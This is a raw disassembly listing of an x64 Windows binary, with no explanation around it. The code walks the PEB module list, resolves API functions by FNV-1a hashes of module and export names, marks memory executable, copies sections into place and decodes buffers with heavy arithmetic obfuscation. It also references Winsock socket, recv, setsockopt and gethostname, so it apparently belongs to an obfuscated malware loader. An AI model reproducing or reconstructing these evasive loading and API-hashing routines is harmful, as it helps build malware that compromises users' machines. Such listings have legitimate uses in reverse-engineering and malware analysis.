lea edx, [r8 - 0x30]
mov ecx, Ordinal_41
jmp 0x1401019a0
lea rax, [r11 + 8]
cmp rbx, rax
jne 0x1401014fa
mov r8b, r10b
lea edx, [r8 + 0x60]
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x140101968
mov r8b, r10b
lea edx, [r8 - 0x40]
mov al, dl
and al, r9b
add al, al
mov r12b, byte [rbp + r10 + 0x330]
sub r12b, al
sub r12b, 0x40
add r12b, r9b
add r12b, dl
jmp 0x1401019b1
lea edx, [r10 - 0x10]
mov al, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
jmp 0x140101a32
lea edx, [r10 - 0x58]
mov ecx, 0x34
mov al, dl
and al, r9b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x140101aac
lea edx, [rsi + r10]
mov al, dl
and al, r9b
mov ecx, 4
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x140101a2c
lea edx, [r10 - 0x78]
mov ecx, 0x24
mov al, dl
and al, r9b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x14010198c
mov r8b, r10b
lea ecx, [r8 + 0x28]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x18
sub r8b, 0x58
mov al, r9b
and al, r8b
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r9b
add cl, r8b
mov byte [rbp + r10 + 0x330], cl
add r11, r14
sub r10, r14
jmp 0x140101abb
mov r8b, r10b
lea edx, [r8 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
mov al, dl
and al, r9b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
sub r8b, 0x28
mov al, r9b
and al, r8b
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r9b
add cl, r12b
add cl, r8b
mov byte [rbp + r10 + 0x330], cl
jmp 0x1401019f0
mov ecx, 8
add ecx, r10d
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x38
add rbx, r11
movzx eax, r12b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140101abb
movabs rdx, 0xfebd022eb43b54a8
add rdx, r10
mov r9b, r8b
mov al, dl
and al, r8b
mov ecx, 0x34
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r8b
mov r15d, 8
lea edx, [r15 + r10]
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x38
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x330], al
add r11, r14
add rax, r11
sub r10, rax
lea edx, [r10 + 0x20]
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x330], cl
add rbx, r14
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x140101aac
movabs rcx, 0x91beb7cadf872448
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
lea r12d, [rdx + rdx]
add r12b, cl
add r12b, r8b
movzx eax, byte [rbp + r10 + 0x330]
add rax, r11
add r10, rax
add r10, r14
jmp 0x14010110c
add r10b, 0x78
mov al, r10b
and al, r9b
add al, al
sub r10b, al
lea r12d, [r9 + r10]
sub r12b, sil
jmp 0x140101107
add r10b, sil
mov al, r10b
and al, r9b
mov ecx, 4
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r10b
add r12b, r9b
jmp 0x1401010f7
lea rcx, [rbp + 0x1442350]
jmp 0x140101b16
lea rcx, [rbp + 0x1712f68]
jmp 0x140101b16
lea rcx, [rbp + 0x330]
mov rax, r13
sub rcx, r13
movzx r8d, byte [rax]
movzx edx, byte [rax + rcx]
sub r8d, edx
jne 0x140101b30
add rax, r14
test edx, edx
jne 0x140101b1c
xor eax, eax
test r8d, r8d
jne 0x140101e82
mov dword [rbp + 0x568], eax
mov r10, qword [0x14017c778]
test r10, r10
jne 0x140101cb2
mov esi, eax
mov r14d, 0x820621f3
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140101bbb
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140101bad
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140101b9c
cmp r8d, esi
jne 0x140101c8d
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140101c8d
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140101c8d
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140101c0f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140101c04
cmp edx, r14d
je 0x140101c25
test r9d, r9d
jne 0x140101bef
jmp 0x140101c8d
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x140101cab
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x140101cab
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140101c80
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x140101c5c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x140101c73
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140101ca6
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140101b70
jmp 0x140101ca8
xor eax, eax
mov r10, rax
mov qword [0x14017c778], r10
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
mov rbx, qword [rbp - 0x28]
add rcx, rbx
lea r9, [rbp + 0x568]
mov r8d, 0x40
call r10
mov eax, dword [r13 + 0xc]
mov r8d, dword [r13 + 8]
mov rdx, qword [rbp - 0x40]
add rdx, rax
lea rcx, [rax + rbx]
call sub.VCRUNTIME140.dll_memcpy
mov r10, qword [0x14017c778]
xor eax, eax
test r10, r10
jne 0x140101e60
mov esi, eax
mov r14d, 0x820621f3
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140101d65
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140101d57
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140101d46
cmp r8d, esi
jne 0x140101e37
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140101e37
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140101e37
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140101db9
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140101dae
cmp edx, r14d
je 0x140101dcf
test r9d, r9d
jne 0x140101d99
jmp 0x140101e37
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x140101e55
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x140101e55
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140101e2a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x140101e06
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x140101e1d
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140101e50
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140101d1a
jmp 0x140101e52
xor eax, eax
mov r10, rax
mov qword [0x14017c778], r10
mov rbx, qword [rbp - 0x28]
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rbx
lea r9, [rbp + 0x568]
mov r8d, dword [rbp + 0x568]
call r10
mov r14d, 1
movzx eax, word [rsp + 0x54]
add ax, r14w
mov word [rsp + 0x54], ax
mov rcx, qword [rsp + 0x60]
cmp ax, word [rcx + 6]
mov r8d, 0
jb 0x14010109f
mov r13, qword [rbp - 0x78]
mov r12d, 0xfaba0065
mov rdx, qword [0x14017c790]
xor eax, eax
test rdx, rdx
jne 0x14010201e
mov esi, eax
mov r14d, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140101f28
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140101f1a
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140101f09
cmp r8d, esi
jne 0x140101ff9
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r9d, eax
add r9, r11
shr rax, 0x20
cmp r9, r11
je 0x140101ff9
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x140101ff9
mov ebx, dword [r9 + 0x20]
dec r10d
lea rdx, [rbx + r10*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140101f7c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140101f71
cmp edx, r14d
je 0x140101f92
test r10d, r10d
jne 0x140101f5c
jmp 0x140101ff9
mov r8d, dword [r9 + 0x1c]
add r8, r11
mov edx, dword [r9 + 0x24]
add rdx, r11
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r9
jbe 0x140102017
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x140102017
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov r8d, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140101fed
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r8
jmp 0x140101fca
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r8
mov al, byte [rdx]
test al, al
jne 0x140101fe0
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140102012
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140101edd
jmp 0x140102014
xor eax, eax
mov rdx, rax
mov qword [0x14017c790], rdx
mov rcx, qword [rbp - 0x68]
call rdx
mov rdx, qword [0x14017c790]
xor eax, eax
test rdx, rdx
jne 0x140102193
mov esi, eax
mov r14d, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010209d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010208f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010207e
cmp r8d, esi
jne 0x14010216e
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r9d, eax
add r9, r11
shr rax, 0x20
cmp r9, r11
je 0x14010216e
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x14010216e
mov ebx, dword [r9 + 0x20]
dec r10d
lea rdx, [rbx + r10*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1401020f1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401020e6
cmp edx, r14d
je 0x140102107
test r10d, r10d
jne 0x1401020d1
jmp 0x14010216e
mov r8d, dword [r9 + 0x1c]
add r8, r11
mov edx, dword [r9 + 0x24]
add rdx, r11
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r9
jbe 0x14010218c
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x14010218c
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov r8d, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140102162
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r8
jmp 0x14010213f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r8
mov al, byte [rdx]
test al, al
jne 0x140102155
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140102187
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140102052
jmp 0x140102189
xor eax, eax
mov rdx, rax
mov qword [0x14017c790], rdx
mov rcx, r13
call rdx
mov rdx, qword [0x14017c790]
xor eax, eax
test rdx, rdx
jne 0x140102306
mov esi, eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010220e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140102200
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401021ef
cmp r8d, esi
jne 0x1401022e1
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x1401022e1
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x1401022e1
mov ebx, dword [r9 + 0x20]
mov r13d, 1
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140102268
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14010225d
cmp edx, r12d
je 0x14010227e
test r11d, r11d
jne 0x140102248
jmp 0x1401022e1
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x1401022ff
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x1401022ff
mov eax, 0x811c9dc5
mov esi, eax
mov r12d, eax
jmp 0x1401022c0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401022b2
jmp 0x1401022d5
movsx eax, al
xor eax, r12d
imul r12d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401022c8
mov rdi, qword [r14]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x1401022fa
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1401021c3
jmp 0x1401022fc
xor eax, eax
mov rdx, rax
mov qword [0x14017c790], rdx
mov rcx, qword [rbp - 0x80]
call rdx
mov rdx, qword [0x14017c698]
xor eax, eax
test rdx, rdx
jne 0x140102480
mov esi, eax
mov r14d, 0xab45c5ee
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140102388
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010237a
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140102369
cmp r8d, esi
jne 0x14010245b
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14010245b
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x14010245b
mov ebx, dword [r9 + 0x20]
mov r13d, 1
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401023e2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401023d7
cmp edx, r14d
je 0x1401023f8
test r11d, r11d
jne 0x1401023c2
jmp 0x14010245b
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x140102479
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x140102479
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14010243a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010242c
jmp 0x14010244f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140102442
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140102474
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x14010233d
jmp 0x140102476
xor eax, eax
mov rdx, rax
mov qword [0x14017c698], rdx
mov rcx, qword [rbp - 0x70]
call rdx
mov r13b, 0x49
mov byte [rbp + 0x350], r13b
mov byte [rbp + 0x351], 0xb5
mov byte [rbp + 0x352], 0xb4
mov byte [rbp + 0x353], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x354], xmm0
mov qword [rbp + 0x364], rax
mov dword [rbp + 0x36c], eax
mov bl, byte [rsp + 0x50]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r11, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x20
jae 0x140102e60
movzx r8d, byte [rbp + r9 + 0x350]
mov rdx, r8
cmp rdi, r9
ja 0x140102e58
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140102526
movabs rcx, 0x37d6c032caef3249
add rcx, r9
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
mov esi, 1
add bl, sil
jmp 0x140102558
je 0x140102de8
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140102dbe
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140102da5
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140102d63
mov esi, 1
cmp r11, r9
ja 0x140102e50
lea rax, [r11 + 0x28]
cmp rdi, rax
jae 0x140102580
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x15
jmp 0x1401025c1
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140102d4a
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140102d34
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140102d1b
lea rax, [r11 + 7]
cmp rdi, rax
je 0x140102ca8
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140102c8f
lea rax, [r11 + rdi]
cmp rax, r9
jbe 0x140102a66
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x140102a55
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140102a38
lea rax, [r11 + 0x28]
cmp rdi, rax
je 0x140102a1b
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140102a0a
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401029ed
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x1401029df
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x1401029ce
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401029b1
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x1401029a3
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x1401025ce
lea rdi, [r11 + 0x42]
lea r11, [rdi + 0x40]
lea rax, [r11 + 3]
cmp rdi, rax
jb 0x140102e35
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x140102e1a
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x1401027b4
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x14010279b
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x140102782
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x140102959
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x140102911
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x1401028d8
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401028b7
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x1401025ce
lea rdi, [r11 + 0x5a]
lea r11, [rdi + 0x42]
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14010289e
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x140102885
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x140102869
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x140102850
lea rax, [r11 + 0x200]
cmp rdi, rax
ja 0x140102837
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x14010281b
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x140102802
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x1401027e9
lea rax, [r11 + 5]
cmp rdi, rax
ja 0x1401027cd
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x1401025ce
lea rdi, [r11 + 0xa]
lea r11, [rdi + 0x5a]
jmp 0x1401025ce
lea ecx, [r9 - 0x5d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x75
jmp 0x1401025c1
lea ecx, [r9 + 0x11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x77
jmp 0x140102558
lea ecx, [r9 + 0x7f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x79
jmp 0x1401024ea
lea ecx, [r9 - 0x18]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x58
mov r10b, r9b
jmp 0x140102d7a
lea ecx, [r9 + 0x56]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5a
jmp 0x140102d9d
lea ecx, [r9 - 0x3c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x140102da0
lea ecx, [r9 + 0x32]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
mov r10b, r9b
jmp 0x140102c4f
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x140102db9
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x62
jmp 0x140102dd9
lea ecx, [r9 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
mov r10b, r9b
jmp 0x140102cbf
lea ecx, [r9 - 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x66
jmp 0x140102cea
lea ecx, [r9 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x140102e03
lea ecx, [r9 - 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6d
mov byte [rbp + r9 + 0x350], bl
jmp 0x140102e12
lea ecx, [r9 + 0x59]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6f
cmp r11, 0x42
jb 0x1401028cb
mov r10b, r9b
lea ecx, [r10 + 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 0x34]
jmp 0x140102d7a
lea ecx, [r9 - 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x71
cmp rdi, 4
jae 0x140102c31
lea rax, [r11 + 0x400]
cmp rdi, rax
jbe 0x140102be5
lea edx, [r9 + 0x62]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401028ec
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x73
lea rax, [r11 + rdi]
cmp rax, 0x400
je 0x140102c75
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jbe 0x140102b53
lea ecx, [r9 + 0x65]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x3d
jmp 0x140102925
lea edx, [r9 - 0x12]
mov ecx, 0x3f
jmp 0x140102a9a
lea edx, [r9 + 0x5c]
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140102cea
mov r10b, r9b
lea edx, [r10 - 0x36]
mov ecx, 0x3d
jmp 0x140102ac3
lea edx, [r9 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140102ae9
lea edx, [r9 - 0x5a]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140102db9
mov r10b, r9b
lea edx, [r10 + 0x14]
mov ecx, Ordinal_60
jmp 0x140102b12
lea edx, [r9 - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140102da0
lea edx, [r9 - 0x10]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140102d9d
mov r10b, r9b
lea edx, [r10 + 0x5e]
mov ecx, gethostname
jmp 0x140102b3f
lea rax, [r11 + 0x41]
cmp rdi, rax
jae 0x140102a88
lea ecx, [r9 + r13]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, sil
jmp 0x14010296d
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140102aae
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140102e03
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140102ad7
mov r10b, r9b
lea edx, [r10 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140102cbf
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140102afd
lea edx, [r9 - 0x50]
mov ecx, Ordinal_27
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140102dd9
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140102b26
mov r10b, r9b
lea edx, [r10 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140102c4f
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14010296d
mov r10b, r9b
